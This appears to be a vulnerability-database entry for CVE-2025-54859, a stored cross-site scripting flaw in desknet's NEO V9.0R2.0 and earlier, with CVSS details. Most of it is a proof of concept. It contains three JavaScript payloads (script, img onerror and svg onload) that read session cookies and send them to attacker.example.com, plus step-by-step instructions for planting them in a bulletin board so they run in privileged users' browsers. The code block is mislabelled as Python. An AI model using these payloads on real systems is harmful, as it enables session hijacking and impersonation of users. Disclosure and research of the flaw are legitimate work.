Stored cross-site scripting (XSS) vulnerability in desknet's NEO V9.0R2.0 and earlier allow execution of arbitrary JavaScript in a user’s web browser.
CVSS Details
CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
desknet's NEO <= V9.0R2.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2025-54859: Stored XSS in desknet's NEO V9.0R2.0 and earlier
Vulnerability: Stored Cross-Site Scripting (XSS)
Affected: desknet's NEO <= V9.0R2.0
Author: [email protected]
-->
<!-- Malicious payload to be injected into a vulnerable input field
(e.g., bulletin board post, message, schedule description, etc.) -->
<script>
// Steal session cookie and exfiltrate to attacker-controlled server
var cookie = document.cookie;
var img = new Image();
img.src = "https://attacker.example.com/steal?cookie=" + encodeURIComponent(cookie);
// Alternatively, perform actions on behalf of the victim user
// fetch('/api/some-action', { method: 'POST', credentials: 'include' });
</script>
<!-- Alternative payload using img onerror (for inputs that strip <script> tags) -->
<img src=x onerror="fetch('https://attacker.example.com/log?data='+document.cookie)">
<!-- Alternative payload using SVG -->
<svg onload="alert(document.domain);fetch('https://attacker.example.com/?c='+document.cookie)">
<!--
Usage:
1. Authenticate to desknet's NEO as a legitimate user
2. Navigate to a feature that stores user input (e.g., bulletin board, message board)
3. Paste the malicious payload into the content field
4. Submit the form - the payload is now stored on the server
5. When another user (especially a privileged user) views the page,
the JavaScript executes in their browser context
-->